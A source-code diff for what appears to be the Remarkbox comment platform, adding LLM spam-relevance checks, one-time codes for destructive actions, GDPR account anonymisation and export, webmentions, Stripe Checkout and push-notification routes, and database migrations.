||||||
|
(thread_content or "")[:300]
|
||||||
|
)
|
||||||
|
)
|
||||||
|
if parent_content:
|
||||||
|
context_parts.append(
|
||||||
|
"Parent comment (first 300 chars):\n{}".format(
|
||||||
|
(parent_content or "")[:300]
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
user_msg = "{context}\n\nNew reply (first 500 chars):\n{reply}\n\n" \
|
||||||
|
"Is this reply relevant to the discussion?".format(
|
||||||
|
context="\n\n".join(context_parts),
|
||||||
|
reply=(reply_content or "")[:500],
|
||||||
|
)
|
||||||
|
|
||||||
|
messages = [
|
||||||
|
{
|
||||||
|
"role": "system",
|
||||||
|
"content": (
|
||||||
|
"You are a content moderation assistant. Your job is to determine if "
|
||||||
|
"a reply is relevant to the discussion thread it is being posted in. "
|
||||||
|
"Off-topic spam, promotional content, and gibberish should be marked irrelevant. "
|
||||||
|
"Respond with exactly 'RELEVANT' or 'IRRELEVANT' on the first line, "
|
||||||
|
"followed by a brief one-sentence explanation."
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"role": "user",
|
||||||
|
"content": user_msg,
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
response = _llm_request(endpoint, model, messages, timeout)
|
||||||
|
return _parse_verdict(response)
|
||||||
|
|
||||||
|
|
||||||
|
def _is_enabled(settings):
|
||||||
|
"""Check if LLM relevance checking is enabled."""
|
||||||
|
if not settings:
|
||||||
|
return False
|
||||||
|
return settings.get("spam.llm.enabled", "false").strip().lower() in ("true", "1", "yes")
|
||||||
|
|
||||||
|
|
||||||
|
def _get_config(settings):
|
||||||
|
"""Extract LLM config from settings."""
|
||||||
|
endpoint = settings.get("spam.llm.endpoint", DEFAULT_ENDPOINT)
|
||||||
|
model = settings.get("spam.llm.model", DEFAULT_MODEL)
|
||||||
|
timeout = int(settings.get("spam.llm.timeout", DEFAULT_TIMEOUT))
|
||||||
|
return endpoint, model, timeout
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_verdict(response):
|
||||||
|
"""Parse a RELEVANT/IRRELEVANT response from the LLM."""
|
||||||
|
if not response:
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
first_line = response.split("\n")[0].strip().upper()
|
||||||
|
explanation = response.split("\n", 1)[1].strip() if "\n" in response else ""
|
||||||
|
|
||||||
|
if "IRRELEVANT" in first_line:
|
||||||
|
return False, explanation
|
||||||
|
elif "RELEVANT" in first_line:
|
||||||
|
return True, explanation
|
||||||
|
|
||||||
|
# Ambiguous response -- treat as inconclusive
|
||||||
|
return None, response
|
||||||
90
remarkbox/models/sudo_otp.py
Normal file
|
|
@ -0,0 +1,90 @@
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
|
||||||
|
from sqlalchemy import Column, Unicode, BigInteger
|
||||||
|
|
||||||
|
from .meta import Base
|
||||||
|
|
||||||
|
|
||||||
|
class SudoOtp(Base):
|
||||||
|
"""One-time password for gating destructive operations."""
|
||||||
|
|
||||||
|
__tablename__ = "rb_sudo_otp"
|
||||||
|
|
||||||
|
action_key = Column(Unicode(256), primary_key=True)
|
||||||
|
code = Column(Unicode(8), nullable=False)
|
||||||
|
action = Column(Unicode(512), nullable=False)
|
||||||
|
client_ip = Column(Unicode(45), nullable=True)
|
||||||
|
created_at = Column(BigInteger, nullable=False)
|
||||||
|
expires_at = Column(BigInteger, nullable=False)
|
||||||
|
|
||||||
|
|
||||||
|
# TTL in milliseconds (15 minutes).
|
||||||
|
SUDO_OTP_TTL_MS = 15 * 60 * 1000
|
||||||
|
|
||||||
|
|
||||||
|
def generate_sudo_otp_code():
|
||||||
|
"""Return a zero-padded 8-digit numeric string."""
|
||||||
|
n = int.from_bytes(os.urandom(5), "big") % (10**8)
|
||||||
|
return str(n).zfill(8)
|
||||||
|
|
||||||
|
|
||||||
|
def create_sudo_otp(dbsession, action_key, action, client_ip=None):
|
||||||
|
"""Create or replace a sudo OTP for the given action_key.
|
||||||
|
|
||||||
|
Opportunistically cleans up expired rows.
|
||||||
|
Returns the raw 8-digit code string.
|
||||||
|
"""
|
||||||
|
now_ms = int(time.time() * 1000)
|
||||||
|
|
||||||
|
# Clean up expired rows (best-effort, small table).
|
||||||
|
dbsession.query(SudoOtp).filter(SudoOtp.expires_at < now_ms).delete()
|
||||||
|
|
||||||
|
code = generate_sudo_otp_code()
|
||||||
|
|
||||||
|
existing = dbsession.query(SudoOtp).get(action_key)
|
||||||
|
if existing:
|
||||||
|
existing.code = code
|
||||||
|
existing.action = action
|
||||||
|
existing.client_ip = client_ip
|
||||||
|
existing.created_at = now_ms
|
||||||
|
existing.expires_at = now_ms + SUDO_OTP_TTL_MS
|
||||||
|
else:
|
||||||
|
otp = SudoOtp(
|
||||||
|
action_key=action_key,
|
||||||
|
code=code,
|
||||||
|
action=action,
|
||||||
|
client_ip=client_ip,
|
||||||
|
created_at=now_ms,
|
||||||
|
expires_at=now_ms + SUDO_OTP_TTL_MS,
|
||||||
|
)
|
||||||
|
dbsession.add(otp)
|
||||||
|
|
||||||
|
dbsession.flush()
|
||||||
|
return code
|
||||||
|
|
||||||
|
|
||||||
|
def verify_sudo_otp(dbsession, action_key, code):
|
||||||
|
"""Verify a sudo OTP.
|
||||||
|
|
||||||
|
Returns (True, None) on success or (False, error_message) on failure.
|
||||||
|
Deletes the OTP on success (single-use).
|
||||||
|
"""
|
||||||
|
now_ms = int(time.time() * 1000)
|
||||||
|
|
||||||
|
otp = dbsession.query(SudoOtp).get(action_key)
|
||||||
|
if otp is None:
|
||||||
|
return False, "No OTP found. Please request a new code."
|
||||||
|
|
||||||
|
if otp.expires_at < now_ms:
|
||||||
|
dbsession.delete(otp)
|
||||||
|
dbsession.flush()
|
||||||
|
return False, "OTP has expired. Please request a new code."
|
||||||
|
|
||||||
|
if otp.code != code:
|
||||||
|
return False, "Invalid OTP code."
|
||||||
|
|
||||||
|
# Success — single-use, delete it.
|
||||||
|
dbsession.delete(otp)
|
||||||
|
dbsession.flush()
|
||||||
|
return True, None
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
from sqlalchemy import BigInteger, Boolean, Integer, Column, Unicode, Enum, func, or_
|
from sqlalchemy import BigInteger, Boolean, Integer, Column, Unicode, UnicodeText, Enum, func, or_
|
||||||
|
|
||||||
from sqlalchemy.orm import relationship, backref
|
from sqlalchemy.orm import relationship, backref
|
||||||
|
|
||||||
|
|
@ -104,6 +104,8 @@ class User(RBase, Base):
|
||||||
gravatar = Column(Boolean, default=False)
|
gravatar = Column(Boolean, default=False)
|
||||||
verified = Column(Boolean, default=False)
|
verified = Column(Boolean, default=False)
|
||||||
disabled = Column(Boolean, default=False)
|
disabled = Column(Boolean, default=False)
|
||||||
|
# Global moderator: can moderate across all namespaces.
|
||||||
|
is_superuser = Column(Boolean, default=False)
|
||||||
# automatically watch any threads I create.
|
# automatically watch any threads I create.
|
||||||
auto_watch_threads_i_create = Column(Boolean, default=True, nullable=False)
|
auto_watch_threads_i_create = Column(Boolean, default=True, nullable=False)
|
||||||
# automatically watch any threads I participate in.
|
# automatically watch any threads I participate in.
|
||||||
|
|
@ -114,9 +116,20 @@ class User(RBase, Base):
|
||||||
default="daily",
|
default="daily",
|
||||||
nullable=False,
|
nullable=False,
|
||||||
)
|
)
|
||||||
# example: cus_12345678AbCdEF but may be null.
|
# Theme mode preference: 'auto', 'light', or 'dark'. 'auto' respects parent site.
|
||||||
stripe_id = Column(Unicode(18), unique=True, nullable=True)
|
theme_mode = Column(
|
||||||
|
Enum('auto', 'light', 'dark', name='theme_mode_enum'),
|
||||||
|
default='auto',
|
||||||
|
nullable=False,
|
||||||
|
)
|
||||||
|
# Notification delivery preference: how the user wants to receive notifications.
|
||||||
|
notification_preference = Column(
|
||||||
|
Enum('email', 'push', 'both', 'none', name='notification_preference_enum'),
|
||||||
|
default='email',
|
||||||
|
nullable=False,
|
||||||
|
)
|
||||||
|
# JSON-encoded list of Web Push subscription objects.
|
||||||
|
push_subscriptions = Column(UnicodeText, nullable=True)
|
||||||
votes = relationship(argument="Vote", backref="user", order_by="desc(Vote.created)")
|
votes = relationship(argument="Vote", backref="user", order_by="desc(Vote.created)")
|
||||||
|
|
||||||
# lazy='dynamic' returns a query object instead of collection.
|
# lazy='dynamic' returns a query object instead of collection.
|
||||||
|
|
@ -151,6 +164,15 @@ class User(RBase, Base):
|
||||||
# 1-to-1 relationships.
|
# 1-to-1 relationships.
|
||||||
pay_what_you_can = relationship(argument="PayWhatYouCan", uselist=False, lazy="joined")
|
pay_what_you_can = relationship(argument="PayWhatYouCan", uselist=False, lazy="joined")
|
||||||
|
|
||||||
|
# Payment history
|
||||||
|
payments = relationship(
|
||||||
|
argument="Payment",
|
||||||
|
lazy="dynamic",
|
||||||
|
back_populates="user",
|
||||||
|
order_by="desc(Payment.created_timestamp)",
|
||||||
|
cascade="save-update, merge, delete",
|
||||||
|
)
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def node_watchers(self):
|
def node_watchers(self):
|
||||||
return self.watchers.filter(Watcher.type == "node")
|
return self.watchers.filter(Watcher.type == "node")
|
||||||
|
|
@ -235,39 +257,56 @@ class User(RBase, Base):
|
||||||
def unverified_namespace_owner_requests(self):
|
def unverified_namespace_owner_requests(self):
|
||||||
return [nr for nr in self.namespace_owner_requests if not nr.verified]
|
return [nr for nr in self.namespace_owner_requests if not nr.verified]
|
||||||
|
|
||||||
@property
|
def _namespace_filter(self, query, namespace=None):
|
||||||
def verified_nodes(self):
|
"""Apply namespace filter to a node query if namespace is provided."""
|
||||||
return self.nodes.filter(Node.verified == True, Node.disabled == False)
|
if namespace is not None:
|
||||||
|
root_ids = self.dbsession.query(Node.id).filter(
|
||||||
|
Node.namespace_id == namespace.id
|
||||||
|
)
|
||||||
|
query = query.filter(or_(
|
||||||
|
Node.root_id.in_(root_ids),
|
||||||
|
Node.namespace_id == namespace.id,
|
||||||
|
))
|
||||||
|
return query
|
||||||
|
|
||||||
@property
|
def verified_nodes(self, namespace=None):
|
||||||
def unverified_nodes(self):
|
query = self.nodes.filter(Node.verified == True, Node.disabled == False)
|
||||||
return self.nodes.filter(Node.verified == False, Node.disabled == False)
|
return self._namespace_filter(query, namespace)
|
||||||
|
|
||||||
@property
|
def unverified_nodes(self, namespace=None):
|
||||||
def disabled_nodes(self):
|
query = self.nodes.filter(Node.verified == False, Node.disabled == False)
|
||||||
return self.nodes.filter(Node.verified == True, Node.disabled == True)
|
return self._namespace_filter(query, namespace)
|
||||||
|
|
||||||
@property
|
def disabled_nodes(self, namespace=None):
|
||||||
def unapproved_nodes(self):
|
query = self.nodes.filter(Node.verified == True, Node.disabled == True)
|
||||||
return self.nodes.filter(or_(Node.approved == False, Node.approved.is_(None)))
|
return self._namespace_filter(query, namespace)
|
||||||
|
|
||||||
def page_nodes(self, limit=100, offset=0):
|
def unapproved_nodes(self, namespace=None):
|
||||||
|
query = self.nodes.filter(or_(Node.approved == False, Node.approved.is_(None)))
|
||||||
|
return self._namespace_filter(query, namespace)
|
||||||
|
|
||||||
|
def page_nodes(self, namespace=None, limit=100, offset=0):
|
||||||
if self.nodes.count() == 0:
|
if self.nodes.count() == 0:
|
||||||
return []
|
return []
|
||||||
return (
|
query = self.nodes.filter(
|
||||||
self.nodes.filter(
|
Node.disabled == False, Node.verified == True,
|
||||||
Node.disabled == False, Node.verified == True, Node.user_id != None, Node.approved == True
|
Node.user_id != None, Node.approved == True
|
||||||
)
|
|
||||||
.order_by(Node.changed.desc())
|
|
||||||
.limit(limit)
|
|
||||||
.offset(offset)
|
|
||||||
)
|
)
|
||||||
|
query = self._namespace_filter(query, namespace)
|
||||||
|
|
||||||
|
if namespace is not None:
|
||||||
|
if namespace.hide_unless_approved:
|
||||||
|
query = query.filter(Node.approved == True)
|
||||||
|
if namespace.hide_unverified:
|
||||||
|
query = query.filter(Node.verified == True)
|
||||||
|
|
||||||
|
return query.order_by(Node.changed.desc()).limit(limit).offset(offset)
|
||||||
|
|
||||||
def __init__(self, email):
|
def __init__(self, email):
|
||||||
self.name = unicode(generate_password(size=8))
|
self.name = unicode(generate_password(size=8))
|
||||||
self.created = now_timestamp()
|
self.created = now_timestamp()
|
||||||
self.id = uuid.uuid1()
|
self.id = uuid.uuid1()
|
||||||
self.email = unicode(email)
|
self.email = unicode(email.lower())
|
||||||
|
|
||||||
# TODO: this field was never used & should be sunset.
|
# TODO: this field was never used & should be sunset.
|
||||||
self.email_id = unicode(generate_password(size=8))
|
self.email_id = unicode(generate_password(size=8))
|
||||||
|
|
@ -362,6 +401,113 @@ class User(RBase, Base):
|
||||||
return reply_watcher
|
return reply_watcher
|
||||||
return self.reply_watchers.first()
|
return self.reply_watchers.first()
|
||||||
|
|
||||||
|
def anonymize_account(self):
|
||||||
|
"""Anonymize this user's account for GDPR/CCPA compliance.
|
||||||
|
|
||||||
|
Scrubs PII (name, email, password) and cleans up metadata,
|
||||||
|
but keeps the user record as a tombstone so node.user_id
|
||||||
|
foreign keys remain valid and templates still work.
|
||||||
|
"""
|
||||||
|
dbsession = self.dbsession
|
||||||
|
tombstone_id = uuid.uuid4().hex[:12]
|
||||||
|
|
||||||
|
# Scrub PII on the user record — keep it as a tombstone.
|
||||||
|
self.name = "deleted-{}".format(tombstone_id)
|
||||||
|
self.email = "deleted-{}@localhost".format(tombstone_id)
|
||||||
|
self.password = None
|
||||||
|
self.password_attempts = 0
|
||||||
|
self.gravatar = False
|
||||||
|
self.verified = False
|
||||||
|
self.disabled = True
|
||||||
|
|
||||||
|
# Scrub IP addresses on all comments.
|
||||||
|
for node in self.nodes.all():
|
||||||
|
node.ip_address = None
|
||||||
|
dbsession.add(node)
|
||||||
|
|
||||||
|
# Delete all notification records.
|
||||||
|
for notification in self.node_notifications.all():
|
||||||
|
dbsession.delete(notification)
|
||||||
|
|
||||||
|
# Delete all watchers and their notifications.
|
||||||
|
for watcher in self.watchers.all():
|
||||||
|
for notification in watcher.notifications.all():
|
||||||
|
dbsession.delete(notification)
|
||||||
|
dbsession.delete(watcher)
|
||||||
|
|
||||||
|
# Delete all events and their notifications.
|
||||||
|
for event in self.events:
|
||||||
|
notifications = dbsession.query(NodeEventNotification).filter(
|
||||||
|
NodeEventNotification.node_event_id == event.id
|
||||||
|
).all()
|
||||||
|
for notification in notifications:
|
||||||
|
dbsession.delete(notification)
|
||||||
|
dbsession.delete(event)
|
||||||
|
|
||||||
|
# Delete OAuth records.
|
||||||
|
for oauth in self.oauth_records.all():
|
||||||
|
dbsession.delete(oauth)
|
||||||
|
|
||||||
|
# Delete namespace owner requests.
|
||||||
|
for nr in self.namespace_owner_requests.all():
|
||||||
|
dbsession.delete(nr)
|
||||||
|
|
||||||
|
# Delete namespace user associations.
|
||||||
|
for nsu in list(self.user_namespaces):
|
||||||
|
dbsession.delete(nsu)
|
||||||
|
|
||||||
|
# Delete payment records.
|
||||||
|
if self.pay_what_you_can:
|
||||||
|
dbsession.delete(self.pay_what_you_can)
|
||||||
|
for payment in self.payments.all():
|
||||||
|
dbsession.delete(payment)
|
||||||
|
|
||||||
|
# Delete votes.
|
||||||
|
for vote in self.votes:
|
||||||
|
dbsession.delete(vote)
|
||||||
|
|
||||||
|
dbsession.add(self)
|
||||||
|
dbsession.flush()
|
||||||
|
|
||||||
|
def export_user_data(self):
|
||||||
|
"""Export all user data as a dictionary for GDPR/CCPA data subject requests."""
|
||||||
|
from remarkbox.lib import timestamp_to_date_string
|
||||||
|
|
||||||
|
data = {
|
||||||
|
"profile": {
|
||||||
|
"id": str(self.id),
|
||||||
|
"name": self.name,
|
||||||
|
"email": self.email,
|
||||||
|
"created": timestamp_to_date_string(self.created),
|
||||||
|
"gravatar": self.gravatar,
|
||||||
|
"verified": self.verified,
|
||||||
|
"theme_mode": self.theme_mode,
|
||||||
|
},
|
||||||
|
"comments": [],
|
||||||
|
}
|
||||||
|
|
||||||
|
for node in self.nodes.all():
|
||||||
|
comment = {
|
||||||
|
"id": str(node.id),
|
||||||
|
"created": timestamp_to_date_string(node.created),
|
||||||
|
"changed": timestamp_to_date_string(node.changed),
|
||||||
|
"content": node.data,
|
||||||
|
"disabled": node.disabled,
|
||||||
|
"verified": node.verified,
|
||||||
|
"approved": node.approved,
|
||||||
|
}
|
||||||
|
if node.title:
|
||||||
|
comment["title"] = node.title
|
||||||
|
if node.namespace:
|
||||||
|
comment["namespace"] = node.namespace.name
|
||||||
|
if node.root and node.root.title:
|
||||||
|
comment["thread_title"] = node.root.title
|
||||||
|
if node.root and node.root.uri:
|
||||||
|
comment["thread_uri"] = node.root.uri.data
|
||||||
|
data["comments"].append(comment)
|
||||||
|
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
def _user_by_name_query(dbsession, name):
|
def _user_by_name_query(dbsession, name):
|
||||||
"""query User by case insensitive name."""
|
"""query User by case insensitive name."""
|
||||||
|
|
@ -405,7 +551,7 @@ def get_user_by_id(dbsession, user_id):
|
||||||
def get_user_by_email(dbsession, email):
|
def get_user_by_email(dbsession, email):
|
||||||
"""Try to get User object by email or return None"""
|
"""Try to get User object by email or return None"""
|
||||||
if email:
|
if email:
|
||||||
return dbsession.query(User).filter(User.email == unicode(email)).one_or_none()
|
return dbsession.query(User).filter(func.lower(User.email) == unicode(email.lower())).one_or_none()
|
||||||
|
|
||||||
|
|
||||||
def get_or_create_user_by_email(dbsession, email):
|
def get_or_create_user_by_email(dbsession, email):
|
||||||
|
|
|
||||||
77
remarkbox/models/webmention.py
Normal file
|
|
@ -0,0 +1,77 @@
|
||||||
|
from sqlalchemy import (
|
||||||
|
BigInteger,
|
||||||
|
Boolean,
|
||||||
|
Column,
|
||||||
|
Unicode,
|
||||||
|
UnicodeText,
|
||||||
|
)
|
||||||
|
|
||||||
|
from sqlalchemy.orm import relationship
|
||||||
|
|
||||||
|
import uuid
|
||||||
|
|
||||||
|
from .meta import Base, RBase, UUIDType, foreign_key, now_timestamp, get_object_by_id
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
log = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class Webmention(RBase, Base):
|
||||||
|
"""
|
||||||
|
Represents a received webmention -- a notification from an external
|
||||||
|
site that it has linked to a page with a Remarkbox thread.
|
||||||
|
|
||||||
|
Reference: https://www.w3.org/TR/webmention/
|
||||||
|
"""
|
||||||
|
|
||||||
|
id = Column(UUIDType, primary_key=True, index=True)
|
||||||
|
source = Column(Unicode(2048), nullable=False)
|
||||||
|
target = Column(Unicode(2048), nullable=False)
|
||||||
|
node_id = Column(UUIDType, foreign_key("Node", "id"), index=True, nullable=True)
|
||||||
|
verified = Column(Boolean, default=False, nullable=False)
|
||||||
|
author_name = Column(Unicode(256), nullable=True)
|
||||||
|
author_url = Column(Unicode(2048), nullable=True)
|
||||||
|
content = Column(UnicodeText, nullable=True)
|
||||||
|
created_timestamp = Column(BigInteger, nullable=False)
|
||||||
|
updated_timestamp = Column(BigInteger, nullable=False)
|
||||||
|
|
||||||
|
node = relationship(argument="Node", uselist=False, lazy="joined")
|
||||||
|
|
||||||
|
def __init__(self, source, target):
|
||||||
|
self.id = uuid.uuid1()
|
||||||
|
self.source = source
|
||||||
|
self.target = target
|
||||||
|
self.created_timestamp = now_timestamp()
|
||||||
|
self.updated_timestamp = now_timestamp()
|
||||||
|
|
||||||
|
def mark_verified(self, author_name=None, author_url=None, content=None):
|
||||||
|
self.verified = True
|
||||||
|
self.updated_timestamp = now_timestamp()
|
||||||
|
if author_name:
|
||||||
|
self.author_name = author_name
|
||||||
|
if author_url:
|
||||||
|
self.author_url = author_url
|
||||||
|
if content:
|
||||||
|
self.content = content[:500]
|
||||||
|
|
||||||
|
|
||||||
|
def get_webmention_by_id(dbsession, webmention_id):
|
||||||
|
return get_object_by_id(dbsession, webmention_id, Webmention)
|
||||||
|
|
||||||
|
|
||||||
|
def get_webmention_by_source_and_target(dbsession, source, target):
|
||||||
|
return (
|
||||||
|
dbsession.query(Webmention)
|
||||||
|
.filter(Webmention.source == source, Webmention.target == target)
|
||||||
|
.one_or_none()
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def get_verified_webmentions_for_node(dbsession, node_id):
|
||||||
|
return (
|
||||||
|
dbsession.query(Webmention)
|
||||||
|
.filter(Webmention.node_id == node_id, Webmention.verified == True)
|
||||||
|
.order_by(Webmention.created_timestamp.desc())
|
||||||
|
.all()
|
||||||
|
)
|
||||||
|
|
@ -1,20 +1,26 @@
|
||||||
def includeme(config):
|
def includeme(config):
|
||||||
# shared routes
|
# shared routes
|
||||||
config.add_static_view("static", "static", cache_max_age=3600)
|
config.add_static_view("static", "static", cache_max_age=3600)
|
||||||
|
config.add_static_view("attachment", "remarkbox:static/attachment", cache_max_age=86400)
|
||||||
|
|
||||||
config.add_route("favicon", "/favicon.ico")
|
config.add_route("favicon", "/favicon.ico")
|
||||||
config.add_route("robots", "/robots.txt")
|
config.add_route("robots", "/robots.txt")
|
||||||
config.add_route("embed-iframe", "/embed-iframe.txt")
|
config.add_route("embed-iframe", "/embed-iframe.txt")
|
||||||
config.add_route("embed-iframe-min", "/embed-iframe-min.txt")
|
config.add_route("embed-iframe-min", "/embed-iframe-min.txt")
|
||||||
|
|
||||||
# stripe: credit card storage and processing.
|
# stripe: payment processing via Stripe Checkout
|
||||||
config.add_route("billing", "/billing")
|
config.add_route("billing", "/billing")
|
||||||
config.add_route("add-card", "/billing/add-card")
|
config.add_route("create-checkout", "/billing/checkout")
|
||||||
config.add_route(
|
config.add_route("billing-success", "/billing/success")
|
||||||
"confirm-update-card", "/billing/confirm-update-card/{action}/{card_id}"
|
config.add_route("stripe-webhook", "/webhook/stripe")
|
||||||
)
|
|
||||||
config.add_route("update-card", "/billing/update-card")
|
# webmention: IndieWeb webmention receiving endpoint.
|
||||||
config.add_route("pay-what-you-can", "/pay-what-you-can")
|
config.add_route("webmention", "/webmention")
|
||||||
|
|
||||||
|
# push notifications: Web Push API endpoints.
|
||||||
|
config.add_route("push-vapid-key", "/push/vapid-key")
|
||||||
|
config.add_route("push-subscribe", "/push/subscribe")
|
||||||
|
config.add_route("push-unsubscribe", "/push/unsubscribe")
|
||||||
|
|
||||||
# slack: bot notifications and oauth.
|
# slack: bot notifications and oauth.
|
||||||
config.add_route("oauth-slack", "/oauth/slack")
|
config.add_route("oauth-slack", "/oauth/slack")
|
||||||
|
|
@ -61,6 +67,9 @@ def includeme(config):
|
||||||
config.add_route("topsecret-namespaces", "/topsecret/namespaces")
|
config.add_route("topsecret-namespaces", "/topsecret/namespaces")
|
||||||
config.add_route("topsecret-notifications", "/topsecret/notifications")
|
config.add_route("topsecret-notifications", "/topsecret/notifications")
|
||||||
config.add_route("topsecret-nodes", "/topsecret/nodes")
|
config.add_route("topsecret-nodes", "/topsecret/nodes")
|
||||||
|
config.add_route("topsecret-users", "/topsecret/users")
|
||||||
|
config.add_route("topsecret-user-promote", "/topsecret/users/promote")
|
||||||
|
config.add_route("topsecret-user-demote", "/topsecret/users/demote")
|
||||||
config.add_route("topsecret", "/topsecret")
|
config.add_route("topsecret", "/topsecret")
|
||||||
|
|
||||||
# embed routes:
|
# embed routes:
|
||||||
|
|
@ -70,12 +79,16 @@ def includeme(config):
|
||||||
config.add_route("embed-log-out", "/embed/ns/{namespace}/log-out")
|
config.add_route("embed-log-out", "/embed/ns/{namespace}/log-out")
|
||||||
|
|
||||||
config.add_route("embed-namespace-nodes", "/embed/ns/{namespace}/nodes")
|
config.add_route("embed-namespace-nodes", "/embed/ns/{namespace}/nodes")
|
||||||
|
config.add_route("embed-namespace-delete", "/embed/ns/{namespace}/delete")
|
||||||
config.add_route("embed-namespace-settings", "/embed/ns/{namespace}/settings")
|
config.add_route("embed-namespace-settings", "/embed/ns/{namespace}/settings")
|
||||||
|
config.add_route("embed-namespace-import-comments", "/embed/ns/{namespace}/import-comments")
|
||||||
config.add_route(
|
config.add_route(
|
||||||
"embed-namespace-stylesheet", "/embed/ns/{namespace}/{filename}.css"
|
"embed-namespace-stylesheet", "/embed/ns/{namespace}/{filename}.css"
|
||||||
)
|
)
|
||||||
config.add_route("embed-namespace", "/embed/ns/{namespace}")
|
config.add_route("embed-namespace", "/embed/ns/{namespace}")
|
||||||
|
|
||||||
|
config.add_route("embed-user-delete-account", "/embed/ns/{namespace}/u/delete-account")
|
||||||
|
config.add_route("embed-user-export-data", "/embed/ns/{namespace}/u/export-data")
|
||||||
config.add_route("embed-user-settings", "/embed/ns/{namespace}/u/settings")
|
config.add_route("embed-user-settings", "/embed/ns/{namespace}/u/settings")
|
||||||
config.add_route("embed-user-watching", "/embed/ns/{namespace}/u/watching")
|
config.add_route("embed-user-watching", "/embed/ns/{namespace}/u/watching")
|
||||||
config.add_route("embed-user-notifications", "/embed/ns/{namespace}/u/notifications")
|
config.add_route("embed-user-notifications", "/embed/ns/{namespace}/u/notifications")
|
||||||
|
|
@ -101,7 +114,10 @@ def includeme(config):
|
||||||
config.add_route("basic-verification-challenge", "/verification-challenge")
|
config.add_route("basic-verification-challenge", "/verification-challenge")
|
||||||
|
|
||||||
config.add_route("basic-namespace-nodes", "/ns/{namespace}/nodes")
|
config.add_route("basic-namespace-nodes", "/ns/{namespace}/nodes")
|
||||||
|
config.add_route("basic-namespace-spam-bulk", "/ns/{namespace}/spam-bulk")
|
||||||
|
config.add_route("basic-namespace-delete", "/ns/{namespace}/delete")
|
||||||
config.add_route("basic-namespace-settings", "/ns/{namespace}/settings")
|
config.add_route("basic-namespace-settings", "/ns/{namespace}/settings")
|
||||||
|
config.add_route("basic-namespace-import-comments", "/ns/{namespace}/import-comments")
|
||||||
config.add_route("basic-namespace-stats-json", "/ns/{namespace}/stats.json")
|
config.add_route("basic-namespace-stats-json", "/ns/{namespace}/stats.json")
|
||||||
config.add_route("basic-namespace-stylesheet", "/ns/{namespace}/{filename}.css")
|
config.add_route("basic-namespace-stylesheet", "/ns/{namespace}/{filename}.css")
|
||||||
config.add_route("basic-namespace-threads-rss", "/ns/{namespace}.threads.xml")
|
config.add_route("basic-namespace-threads-rss", "/ns/{namespace}.threads.xml")
|
||||||
|
|
@ -111,6 +127,8 @@ def includeme(config):
|
||||||
)
|
)
|
||||||
config.add_route("basic-namespace", "/ns/{namespace}")
|
config.add_route("basic-namespace", "/ns/{namespace}")
|
||||||
|
|
||||||
|
config.add_route("basic-user-delete-account", "/u/delete-account")
|
||||||
|
config.add_route("basic-user-export-data", "/u/export-data")
|
||||||
config.add_route("basic-user-settings", "/u/settings")
|
config.add_route("basic-user-settings", "/u/settings")
|
||||||
config.add_route("basic-user-watching", "/u/watching")
|
config.add_route("basic-user-watching", "/u/watching")
|
||||||
config.add_route("basic-user-notifications", "/u/notifications")
|
config.add_route("basic-user-notifications", "/u/notifications")
|
||||||
|
|
@ -127,5 +145,6 @@ def includeme(config):
|
||||||
config.add_route("basic-reply2", "/{node_id}/{slug:.*}/reply")
|
config.add_route("basic-reply2", "/{node_id}/{slug:.*}/reply")
|
||||||
config.add_route("basic-show-count", "/{node_id}/count")
|
config.add_route("basic-show-count", "/{node_id}/count")
|
||||||
config.add_route("basic-show-count2", "/{node_id}/{slug:.*}/count")
|
config.add_route("basic-show-count2", "/{node_id}/{slug:.*}/count")
|
||||||
|
config.add_route("node-revisions-html", "/{node_id}/revisions")
|
||||||
config.add_route("basic-show-node", "/{node_id}")
|
config.add_route("basic-show-node", "/{node_id}")
|
||||||
config.add_route("basic-show-node2", "/{node_id}/{slug:.*}") # must be last.
|
config.add_route("basic-show-node2", "/{node_id}/{slug:.*}") # must be last.
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
"""add is_superuser column to user
|
||||||
|
|
||||||
|
Revision ID: 03061161fc3d
|
||||||
|
Revises: b7f3a2d1e8c9
|
||||||
|
Create Date: 2026-02-02 08:01:12.446084
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = '03061161fc3d'
|
||||||
|
down_revision = 'b7f3a2d1e8c9'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column('rb_user', sa.Column('is_superuser', sa.Boolean(), nullable=True))
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_user', 'is_superuser')
|
||||||
|
|
@ -0,0 +1,24 @@
|
||||||
|
"""Add allow_anonymous column to namespace
|
||||||
|
|
||||||
|
Revision ID: 108519de76ac
|
||||||
|
Revises: 5188e62d0afb
|
||||||
|
Create Date: 2025-12-20 11:05:36.134829
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# revision identifiers, used by Alembic.
|
||||||
|
revision = '108519de76ac'
|
||||||
|
down_revision = '5188e62d0afb'
|
||||||
|
branch_labels = None
|
||||||
|
depends_on = None
|
||||||
|
|
||||||
|
from alembic import op
|
||||||
|
import sqlalchemy as sa
|
||||||
|
|
||||||
|
|
||||||
|
def upgrade():
|
||||||
|
op.add_column('rb_namespace', sa.Column('allow_anonymous', sa.Boolean(), nullable=True, server_default='0'))
|
||||||
|
|
||||||
|
|
||||||
|
def downgrade():
|
||||||
|
op.drop_column('rb_namespace', 'allow_anonymous')
|
||||||
|
|
@ -0,0 +1,33 @@
|
||||||
|
"""Add import_group_postfix column to namespace table
|
||||||
|
|
||||||
|
Revision ID: 5188e62d0afb
|
||||||
|
Revises: b8f3c9d4e5a1
|
||||||
|
Create Date: 2025-11-24 06:39:06.299392
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
